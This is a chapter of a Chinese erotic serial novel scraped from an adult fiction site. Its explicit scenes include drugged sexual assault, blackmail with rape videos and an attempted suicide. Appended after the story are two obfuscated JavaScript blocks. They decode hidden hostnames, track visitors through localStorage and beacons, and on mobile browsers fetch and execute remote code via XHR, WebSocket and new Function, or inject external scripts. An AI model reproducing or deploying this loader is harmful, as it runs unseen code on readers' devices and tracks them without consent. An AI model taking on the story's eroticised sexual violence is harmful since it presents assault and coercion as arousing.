图片载入中

我从来没有想过,我是一个这样的男人第五章(

特大字】 【大字】 【中字】 【小字

第五章

再荒唐的淫宴,总是会有结束的一刻,哪怕只是中场休息。

肥龙他们在珊儿的身上获得了充分的满足后,总算离开了。离开前,他解开了我身上绳索,我回复了自由的第一个动作,就是朝肥龙下巴的一拳。这饱含了我满泻的愤怒的一拳,使肥龙连退几步,坐倒在地上。

“她们都是无辜的,你的目标不是我吗?一直骚扰着我身边的人算是什么意思?”

我压抑已久的怒气,在此际一举的爆发开来。

跟随着肥龙的四人原本似乎上冲上来教训我的样子,却被肥龙挥手阻止:“随便他吧,反正我不见得会少块肉。”

他用力地撑起了自己笨重的身体,指着我道:“我早就说过,我的报复不止于此。看着那些温柔美丽的小姑娘在我胯下呻吟,心痛了吗?”

我紧紧的握起了拳头,预备再向他挥过去。这里是我家,只要我不是杀了他,没有人会理会我打了他多少拳。

“怎么了,还想再来吗?随便啊!你现在总算有勇气打我一拳了吧,嘿,真有出色!真有进步!不过,我看你也只敢做到这地步而已。你敢报警吗?你真要告我的话,我手头上的影片,你要拿多少去当证据都随便你,只要你敢!”是的,我最多也只能再打他几拳而已,那根本不能真正解决问题。报警,是的,不用特地去找,肥龙第一次给我的影片就是最有力证据了。

但是,报警的其中一个必然结果,就是让颂玲被凌辱的影片流传在网路上,那却不是我乐于看见的。想着想着,抡起了的拳头已经不自觉地再次放下。“对了,我想你应该差不多清理一下地方了吧?总不见得你希望你的父母回来的时候看见你那可爱的表妹全身精液的样子吧?”

肥龙一边说,一边向着门口走去。

“既然你不留我,那我也不阻碍你与你那娇嫩得可以的表妹亲热了。”肥龙渐渐地自我的视线消失,我也只能徒叹奈何,还是先打起精神,尽快清理好地方吧。

我把那些床单、地板等等各样弄脏了的东西,能洗则洗,不能洗的话,就只好丢掉。

各项物品清理好之后,我才带着依然神智不清、全身赤裸的珊儿到厕所清理身体,然后再帮她穿上简单的衣物。

由于珊儿的意识还是很模煳,我只好扶她到床上,盖好被子,装成睡着了的样子。当我的父母回来的时候,我也只好跟他们说珊儿玩得太累才小睡休息一下。

到了差不多晚饭的时候,珊儿才悠悠转醒过来。

珊儿并没有什么特殊的表现,只是显得很沉静,与以往的活泼有很大的分别。她整个晚上都没有什么话,只有我的父母问起什么,才很礼貌的回答什么。虽然脸上还是挂着一弯微笑,但在我的眼里,那微笑却是多么的呆板僵硬、多么的死气沉沉。

晚饭过后,珊儿就说她还是很累,先回到房间里休息了。

我想珊儿应该需要一点时间来平复自己的心情吧,我也没有勇气去跟她提今天的事情,于是只好回到房间,躺在床上,思考一下到底有什么万全的方法,才能夺回肥龙手中的影片。

苦思良久,其中最关键的一点还是破解不了。

那就是如何可以确保,把肥龙手上所有的影片全都销毁,毕竟,只要任何一段关于任何一个女孩子的影片还在他的手中,那依然是一个恶梦。

我愿意去偷,愿意去抢,但这些行动都无助于解决目前的困境,冲动只会坏了大事。

忽然,我的房门被打开了,抬头一望,原来是已经换上了睡衣的珊儿。我坐直了身子道:“珊儿,这么夜了,有事吗?”

珊儿轻轻的关上了房门,坐到了我的身边。

房间内的灯光虽暗,但仍足够让我看清楚,珊儿虽然穿上宽松的睡衣,但是饱满的双峰依然异常突出,不过质感柔软舒适的棉质睡衣却让她增添了几分我见尤怜的邻家女孩感觉。

珊儿的声音听起来带点颤抖:“表哥,你可不可以告诉我,今天下午的一切,全都没有发生过,只是一个恶梦而已?”

唉,当我最初知道发生在颂玲身上的不幸时,虽然我不是直接的受害者,但面对那惘然若失的感觉,我选择了逃避。

作为一个过来人,我逃避过,也知道逃避是不能解决问题的。

我深唿吸了一下才道:“别要自己骗自己了,今天下午发生的事,你与我都知道,那是事实,而不是一个恶梦而已。”

珊儿倒在我的大腿上哭着:“为什么?为什么会这样的?”

“我自小的愿望都很简单,只想找个我深爱着他,他也深爱着我的男生,在教堂中向着彼此说“我愿意”,然后在那个幸福的晚上,把我最宝贵的东西奉献给他……为什么忽然间就扼杀掉我这个简单的愿望?”

我轻抚着她乌亮的发丝道:“珊儿,你会得到幸福的,真正深爱着的人,是不会介意这些的。”

也不知道珊儿是不是听得到我所说的,她只是继续埋头哭泣着。

过了一会儿,哭泣的声音缓缓静止下来,使房间回复原本的寂静。

珊儿从我的大腿上支撑起了来,变成最初的坐姿。我看着她的双眼,虽然已经哭得通红,但那目光却是十分的坚定。

“表哥,谢谢你,我不会在哭的了。我想,我能够学会面对现实的!”珊儿居然能在这么短的时间内恢复过来,令我有点诧异,也许外国长大的人,真的会比较独立坚强吧。

回复过来的珊儿,显示出细心的一面:“表哥,今天下午那些人,听他们的语气,你好像认识他们?”

“唉!”

我叹了一口气,把自肥龙寄信给我开始的所有事情都和盘托出,肥龙的恶行使珊儿恨得咬牙切齿。

珊儿又好奇的问道:“为什么你不想办法,夺回或是销毁那些影片?”于是,我便又把我所顾虑的一切说出来。

珊儿听完之后,思考了一会儿道:“表哥,你有没有想过,以其人之道还治其人之身?”

我心中暗暗一惊,难不成……

然后,珊儿把她所想的说出来,我听过之后心中仔细的思量了一番,深觉珊儿所说的实在大有道理,而且,依照她的计画,即使失败了,情况应该也不会比现在更差……

我想,我应该是时候要行动了!

正当我下了这个决定的时候,珊儿把她的整个身体都挨在我的身上,那软绵绵的奶子就压在我的手臂上。

我被这珊儿突如其来举动吓了一跳:“珊儿,你、你怎么了?”

珊儿的双眼闪耀着欲望与渴求:“表哥,你可不可以和我好好的……做一次爱?”

我没有回答,可是我的眼神表达出我内心里的疑惑。

“我失去了我的贞洁,我的身体被那些禽兽沾污了,从刚才一直到现在,一合上眼睛,脑海里就浮现着我像妓女一样乞求男人的情境。我不希望我离开香港的时候,带走的只要这些不愉快的回忆。表哥,你可以给我一个快乐的回忆吗?”

我没有回答,或者说,我不能回答。

因为,珊儿已经主动的印上了我的唇。她拉着我的手,从她那宽阔的领口伸了进去,里面没有任何的阻隔,她引领我抚弄着她的乳房,那双我从未染指过的乳房。

我感觉到珊儿的身体,感受到她体内那熊熊的欲火在燃烧着。唇是热的、舌是热的、手是热的、脸颊是热的、胸脯是热的、乳尖是热的,她整个人都是火热的,她整个身体都在燃烧着!

而且,我还感到那股烈焰,正蔓延至我的身体。

我回应着她的唇、她的舌、她的吻,我把她的身体反压过来,搓弄着她的双乳时,那不自觉的力量使珊儿睡衣上的钮扣都因为丝线断裂而掉落下来。我一直的吻下去,吻她那滑熘的香肩、吻她那敏感的颈项、吻她那雪白的胸脯、吻她那鲜嫩的乳尖!

我伸手到珊儿的下半身,探究着那女生的秘密花园。手从裤头里伸进去,一摸之下,才知道珊儿已经氾滥如潮。

我把睡裤、内裤一同拉低至膝盖,好方便我手指的活动。当秘密花园毫无保留地暴露在空气之中时,我每一个手指头都化成一个个好奇的小孩子,游走到花园的每一个角落。

正当小孩子们徘徊在秘密花园的时候,我的舌头亦化作一列火车在珊儿的身上驶过,而我的唾液则化成透明的路轨,领导着列车的前进,途经高耸入云的山峦,又有平坦广阔的平原,还有那令人忘怀的盆地,而最后的目的地,就是那秘密花园。

我的头埋在珊儿张开了的双腿之间,把舌头伸进去那早已氾滥的蜜穴,疯狂的吸啜着里面的鲜甜的蜜汁,彷佛要把所有的汁液都抽干似的。

这时候,却又轮到珊儿把我反压过来了。

珊儿把我推倒在床上,然后横身在我的身上一跨,使她的头部对住了我的性器官,而她的臀部则凑到了我的面前,以成了一个“六九式”的交媾姿势。说来话长,但实际上转换姿势并没有花了太多的时间,而且姿势一换好,我们就分别刺激着彼此的敏感之处。

我自然是继续留恋在珊儿的蜜穴上,不过,她的小穴却因为下午所受到连续的侵犯而显得红肿,故此我的挑逗相比起之前的任何一次都来得温柔。而此刻,我下身亦开始传来一阵阵的快感。

珊儿把我的裤子褪了下去,让我那雄纠纠的肉棒伫立在她的眼前。

珊儿她那青涩的口交在今天下午我已经体验过了,不过现在她却给了我另外的一种刺激。

她的那一双豪乳紧紧把我的肉棒棒紧紧的包夹着,柔软的肉球或上下、或左右地按摩着,而且还不时的用舌头轻点着我火热的龟头。每一次的挤压摩擦,都深深地触动着我灵魂,燃引着我的欲火。

我感到差不多该是时候了……

于是,轮到我再次把珊儿压倒了。烧红了的大炮对准了秘密花园,一切都蓄势待发,只要身为司令官的我发号施令,秘密花园就会被我勐烈的炮火狂轰溢炸起来。

最后,我终于……

终于!终于!终于!

我终于还是在千钧一发的瞬间停了下来……

虽然说那时的情况是箭在弦上、不得不发,但我还是强行的压下了心中的肉欲,让亿万“精”兵偃旗息鼓。

我的行动让珊儿感到十分疑惑:“表哥,你怎么……”

我叹了口气,摇了摇头道:“我已经做错过一次了,我不想再做任何对不起颂玲的事情了……”

在我准备冲刺的一刹那,我看着珊儿红肿的阴部,我想起了下午那荒淫的情景。

然后,我想到了有同样遭遇的颂玲、婉茵。

再然后,我想到了作出一连串恶行的肥龙。

再再然后,我想到了自己,没有用的自己。

我心里很清楚,珊儿这天晚上的举动,并不全然如她所说的那样。当中,我相信那些药粉残余的效力占了很大的原因。

如果我真的跟珊儿做爱的话,无疑此刻仍受药力影响的她会感受到无比欢愉,但是,我敢肯定,她事后一定很后悔,因为她跟了一个并非她所爱的男人上床。而且,难听一点的说,是她在勾引我。

除此之外,在往后的日子,这件事可能就成了她一生人的转捩点,令她就此堕落下去,堕落在性爱的地狱,从此不能翻身,变成一个活脱脱的淫娃荡妇!而我,就是那把她推向无尽深渊的凶手,把她拉向阴暗地狱的恶魔。

如果我不能控制自己欲望,而害苦了一个少女的一生,那我跟为了满足自己而强暴女性的肥龙有分别吗?我跟在那一天强暴了婉茵的那个我有分别吗?错事,错了一次,就很足够了……

虽然,我还是可以找出一个又一个的借口……

药粉不是我给她吃的……

是珊儿主动来挑逗我的……

都到那个地步了,不做下去还是男人来吗……

但是!

借口,终归是借口!

这段时间,我经历了很多,失去了很多,也学会了很多。

其中一样我学会的,就是不能替自己找借口,不然,事情就只会一直一直的变坏下去。

即使我悬崖勒“鸟”的行为会使我一整个晚上色欲难耐,但如果这样可以把一个站在黑暗边缘的少女拉回光明的一边的话,我愿意……

珊儿似乎意识我主意已决,于是便静悄悄的整理好衣服,不过她临走前还是半开玩笑的道:“表哥,我看你还是硬得很呢,你今晚睡得着吗?”

我只好苦笑:“不用了,睡不着我自己会解决的。”

珊儿又笑着道:“真的不用我帮你解决?”

我微微的摇头拒绝。

我不知道珊儿开玩笑的成分有多高,但我相信如果珊儿真的帮我解决的话,那跟真的和她作爱,只不过是五十步笑百步的差别。

“既然你这样坚决,那就算了,看来你真的很爱你的女朋友呢!不过,话说回来,你明天可得跟她说明你已经知道了整件事情,而且已经想好了解决方法。不然的话,她只会不知就里的继续被肥龙威胁。”

唉,明天就要跟颂玲摊牌了吗?

“嗯!我明天会去跟她说的了。”

这时的珊儿回复了她的佻皮本色,居然狠狠的在我还是硬得发痛的鸡巴上用手指弹了一下。

“啊!你……”

在我还想说些什么的时候,珊儿一如以往的分从两边捏住了我的脸颊道:“身为表哥的,你可得大方一点,不许生气啊!”

说罢就蹦蹦跳的走了出去。

我看着她那看似活泼,但却带着沉重的背影,心中不禁暗暗的想着:“珊儿,我的表妹,请你千万不要再放任自己,堕落下去了。”

这一夜,又是难以成眠的一夜……

到了第二天的一早,我在随便的梳洗更衣后,就急急忙忙的买了二人份的早餐,然后就去找颂玲了。

而我今天所做的,就是向颂玲说明一切。

我站在颂玲家的门前,深唿吸了一下,才徐徐的伸手去按门铃。

“叮当!”

一如我所料,开门的是颂玲。据我所知,颂玲的家人在星期天也是要上班的,所以我才贸然的走上她的家。

“咦!阿志,是你吗?你要上来怎么不先通知我?”

我扬了扬手中的早餐道:“我想给你一个surprise嘛!先让我进来吧,我知

道你常常都嚷着要减肥,不吃早餐。今次我帮你买了,你可不许不吃啊!”颂玲对着我嫣然一笑,打开了门让我进来。

我坐下来之后,把颂玲也抱在我的大腿上坐着,我喂她一口,她也喂我一口,就像以往无数次的约会一样。

这种情形,已经有一段时间没有试过了,毕竟这阵子都被肥龙的事情烦扰着,虽然颂玲还不知道我已得悉整件事情,但我们见面的时候还是会有一种无可避免的尴尬。

毕竟,彼此的心中,还是有一根难以拔取的刺吧!

不过,我觉得现在是时候把这根刺拔走了!

早餐被吃个清光后,我俩甜蜜的依偎在一起,可是双方都沉默着。如果继续下去,我们表面上看起来还是很甜蜜,但只有我俩才知道,心里各自的那根刺,只会愈刺愈深。

而我今次上来颂玲家的目的,就是要拔掉那根刺,纵使这样可能会令伤口在刹那间扩至无限大,同时内心的苦痛也无可压抑地膨胀起来,但是,要使伤口真正的复原,这根刺,非拔不可!

我下定了决心,深唿叫了一下,终于把那句蕴酿已久的话,说了出来:“颂玲,你跟肥龙的事情……我全都知道了……”

接下来的,是五分钟的沉默。

这五分钟里,我一动也不敢动,一声也不敢出。

这五分钟里,我感受到颂玲的身体从原本的温暖,逐渐变得冰冷。

这五分钟里,我感受到颂玲的身体,由原本的静止不动,逐渐被一种发自内心的颤抖所取代。

“阿志……对不起……我对不起你……”

颂玲挣离了我的怀抱,缓缓的站了起来,这个简单的动作,彷佛花尽了她身上所有的气力才能做到一样。

“我想,我们还是做回普通的同学、朋友吧……”

颂玲背着我,使我看不见她的脸,但从她那近乎悲呜的声音可以知道,她的泪水一定已经不受控的涌出来了。

“颂玲,不要这样说,我……”

“别再说了!”

我的话才说到一半,就被颂玲打断了。

“颂玲……”

我知道颂玲现在的心一定很乱,所以我从她的身后紧紧抱着她,希望能够帮助她稳定情绪,却不料……

“别碰我!”

颂玲不知从哪生出来的力量,居然挣开了我的拥抱。这完全出乎我的意料之外,不小心一失平衡之下,使我跌倒在地上。

而颂玲就在这个时候,冲进了她的房间,并把门锁上了。

我立即爬起身来,跑到房间的门前!

我用力地拍着房门,大声叫道:“颂玲!别关着自己在房里面,开门让我进来吧。”

颂玲颤抖的声音隔着门板传了过来:“阿志,对不起,我只是个肮脏的女人,我配不起你!”

我也隔着门版回应着:“不要说这种话!先开门再说吧!”

沉默了大约十来秒左右,才再次听到了颂玲的声音:“阿志……肥龙他把那些影片给你看过了吧。”

“是的……”

颂玲的语气似乎很平淡:“那么你是不是看见了我像妓女一样与百多个男人发生关系了吧?”

“我知道你是被强迫……”

颂玲的语气突然转趋激动,打断了我的话大叫道:“告诉我!是,还是不是?”“是的……”

颂玲的语气再次平静下来:“那么,像也看见了我跪着要求肥龙来……来侵犯我的身体?”

“是的……”

“那么我这个人尽可夫的女人,还配当你的女友吗?”

我为了表示我的坚决,加重了语气大叫着:“配的!你配的!这个世界,就只有你配当我的女朋友!不管发生了什么事,此志不渝!”

颂玲像是发了狂般的喊着:“不!我不配!我不配!我不配!我不配!”“颂玲!出来吧!求求你,出来跟我好好的说,好不好!”

“别要再关着自己了!出来吧!”

“颂玲!”

“颂玲!你听得到我的说话吗?”

突然间颂玲不再有任何回答,空气只剩下我的回音在回荡着,这种空洞的感觉让我感到了一丝不祥的感觉。

不会是……出了什么事吧?

察觉到情况异常的我,一边用力的撞着门,一边唿唤着颂玲:“颂玲!颂玲!千万不要做傻事啊!”

“碰!”

“颂玲!”

“碰!”

“求求你,回应一下我吧!”

“碰!”

“颂玲!你这傻瓜,不要干傻事啊!”

“碰!”

谢天谢地!在撞到第四次的时候,终于把门撞开了!

我向里面望去,颂玲那傻瓜竟然把绳子绑在天花的电灯上,然后上吊自杀!我急急忙忙的把颂玲抱下来,再把颂玲放在她的床上。

看着脸色苍白的颂玲,想到这个女孩竟然想用死亡来解决问题,我也不禁悲从中来,流下了男儿泪……

我紧紧的抱着颂玲道:“傻瓜!傻瓜!颂玲你这个大傻瓜,为什么你这样傻?”颂玲虚弱的回应着:“阿志,你真的不介意吗?”

“傻瓜!你忘了我在宿营第一天的晚上说过些什么了吗?忘了也不要紧,我现在再说一次给你听。”

我抚着她那柔顺的发丝道:“不论在多久远的未来,发生了什么事,只要你仍是那个喜欢不时作弄我,然后又可爱地微笑着逗我高兴的那个小颂玲,我都会始终如一的爱着你!”

颂玲的脸上虽然满是泪痕,但是却总算泛起了微笑:“阿志,谢谢你……不过,你抱得我很紧,我都唿吸不了,很辛苦呢!”

也许实在是太激动了,不知不觉的用力过度了。

“喔喔,对不起。”

挂心已久的事情终于放下了,颂玲的微笑又更灿烂了。

恢复过来的颂玲,居然还拿我来开玩笑:“阿志,我认识你这么久,还是第一次看见你流眼泪呢!”

“哼!敢取笑我?等我拿绝招来对付你,看你还笑不笑得出来?”

话音刚落,我的唇便重重的印在颂玲唇上,用最直接的方法使她笑不出来。时间转眼消逝,在嘴唇分开之前,我俩已把身上衣物的束缚一一解除。很久很久,我俩都没有吻得这样激动过了。大概只有初吻,又或是与颂玲发生第一次关系时的那一吻,所带给我内心的悸动才足可比拟

到了真的快要窒息时,我俩的嘴唇才依依不舍的分开来。

我喘着气,看着颂玲那一直使我着迷的大眼睛,看着她那红噗噗的两颊,我想……我对这个女孩的爱,已经到了无法自拔的地步了。

我捧着她绯红的脸蛋,再次轻轻的吻上那诱人的嘴唇,同时我的身体已经结结实实的压住了颂玲。

香软的嘴唇使我陶醉,但我并没有因此忘掉了同样迷人的乳峰。这双白玉般的乳房,在以往我已抚弄过不知多少次了,不过这绝不会减低它的魅力。我的双手,再次攀上高峰,更以指头挑逗着嫣红的乳尖。

“嗯……嗯嗯……”

敏感的乳头受到了刺激,令嘴唇被我封住了的颂玲发出了没有意义的声音。良久,再次唇分。

“阿志,我的身体……很热、很想要……”

我发现颂玲的身体比以前敏感了很多,只是轻微的挑逗己经令她意乱情迷。我想,也许是这段时间以来的经历令颂玲的体质出现改变吧。

想起这段日子以来颂玲为我所受的苦楚,心痛的感觉由然而生,情不自禁的在她的额上亲了一下。这一吻并没有带任何情欲的成分,有的只是我对颂玲深切歉意,以及无尽的怜惜。

为了不让颂玲那么难受,我立即就把目标转移到颂玲的蜜穴上。

小穴分泌出来的淫液,竟然使床单湿了一大滩,这才使我知道颂玲的身体究竟敏感到什么程度。

我把鼻子凑到蜜穴前,以鼻尖轻拭着花瓣,顺便嗅一下那少女独有的体香。然后我再张开嘴巴,不停地吸啜着源源不绝地流出来的蜜汁,而且更把舌头伸进阴道,情欲的爆发点!

看见我吸啜着她的蜜汁,颂玲忽然叫道:“不……阿志,那里很肮脏,有很多人都……不要……”

我知道颂玲指的是什么事情,不过我并没有因此而停下来,反而是更加用力的吸食着蜜汁,发出“雪雪”的声音。

我把满载着蜜汁的嘴巴凑到颂玲的唇上,在唇舌交缠的同时共用着淫液的味道。

我用认真的眼神注视着颂玲道:“一点也不会脏,你在我的心里永远都是那样的纯洁动人。”

颂玲微微一笑,再以近乎听不到的声音说着:“阿志,谢谢你……”

看着颂玲那天使般的脸孔,忽然间起了一个戏弄一下她的念头。

我那昂然挺立的肉棒不住的绕着洞口打转,但是直至透明的淫液沾满了龟头,却依然没有进行下一步的动作。我知道颂玲的身体已经变得敏感无比,所以才故意这样做,稍微的作弄一下她。

这种隔靴搔痒,却又搔不到痒处的感觉,直抵颂玲的内心深处,而她亦无意掩饰,直接地对我表达她的渴求:“阿志,我很辛苦……求求你,快点……快点给我吧!”

我却依然逗着她道:“我的小颂玲,你什么时候变得这样心急的?”

这时候,我的肉棒往前伸了一点儿,却又立即就拔出来,而且连续不断的重复着。

这种挑逗的的程度比刚才更甚,让颂玲更是表现得大失方寸,唿着大气娇吟道:“嗄……阿志,你别要在欺负我了……我、我真的受不了啦,嗄嗄……大爷,

算是小婢求求你,小婢撑不下去了啦……”

想不到颂玲竟然会以这种调子哀求起来,我也不忍再继续逗她了,而且即使再这样下,恐怕我自己比颂玲更快崩溃吧?毕竟刚才我也只是一直硬撑着而已,内心里其实早就想狠狠的干进去了。

于是乎,我便挺着早已作好准备的肉棒,攻进洞穴之内。由于蜜穴早就分泌出大量的爱液,使得进入的过程就如同烧红了的铁枝戳进一块乳酪一样容易。虽然颂玲的身体受尽了百般的凌辱,但是小穴却没有因此而失去了原有的弹性,反而似乎更增添了生命力,使阴道的肉壁彷佛有意识地包围着我的肉棒,就像要把我的精力吸个干干净净一样。

过了不久,我们就转换了姿势,颂玲在上,我在下。我极力的挺着腰,一下一下的用力往上顶,而颂玲则积本地扭动蛇腰,迎合着我的描送。

我们都紧握着对方的双手,手连着手,心连着心,忘却了种种不愈快的过去,只回忆起种种的快乐,享受此刻的欢愉,与及展望着幸福的未来。

渐渐地,颂玲开始抵受不了剧烈的活塞运动,体力不支的她伏在我的胸膛上,合上了眼睛,娇喘着、呻吟着、享受着。

为了方便我作最后的冲刺,我俩再次变换了姿势。这次,是我在上方结结实实地压住了颂玲。

我俩死死地紧抱着对方沾满了汗水、颤抖着的身驱,彷佛稍微放松,对方就会在眼前突然消失一样。彼此的头也紧靠在一起,诉说着一直藏在心底里,却又不敢说出来的话。

“阿志,我对不起你,我守护不了自己的贞洁……”

“不!一切都是因为我,是我没有好好的保护你!”

“阿志,谢谢你,不介意我的身体已经变成被上百个男人蹂躏过的残花败柳……”

“我爱你,所以绝不介意!”

“阿志,我爱你……”

“颂玲,我也爱你!”

“阿志,我真的好爱你……”

“我、我也永远爱着你!”

“阿志……”

“颂玲!”

在情欲累积到最高点,即将要爆发之际,我忘却了自己还是一个中学生的身份,忘却了未完成的学业,天地之间,我只记得颂玲,还有我。

“颂玲,给我生个胖胖白白的小孩子,好不好?”

“好……好……我、我愿意怀上你的孩子,阿志的孩子……”

终于,我再也压抑不住爆发的冲动,将我的生命精华,射满在颂玲因高潮而剧烈收缩的阴道之内。

射精过后,我不知道我俩究竟沉默了多久。虽然我们沉默着,但事实上,我们已经透过眼神,在作最真切的交流。

“阿志,我还想要……”

看来,颂玲的眼神……像极了一个怨妇。

“什么?不是吧?才刚刚……”

我以惊讶再加上疑惑的眼神回应着。

“我不管啦,你不是说要生孩子的吗?一次我想还不够呢!”

那、那简直是摆明了欲求不满的眼神!

“这……我们不是有很多时间吗?先让我歇一会吧!”

我想我现在的眼神,跟一个死囚差不多吧!毕竟我刚刚真的毫无保留的豁了出去。

“你不是这样没用吧?不管了,我来啦!”

我这时才发觉,原来女生的眼神也可以这样凶悍的……

这时颂玲竟然紧按着我,爬到我的身上,在我那仍然半硬的鸡巴上坐下去!我竟然会有被颂玲硬上的一天?我真不敢相信!

“没用鬼,我来了……嗯嗯”

我赶紧的封住了颂玲的嘴,不让她再说下去……


上一篇:出差河南,网上女鸡头牵线搭桥会女兼职。。。。

下一篇:圣诞献礼 正式版(完)


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};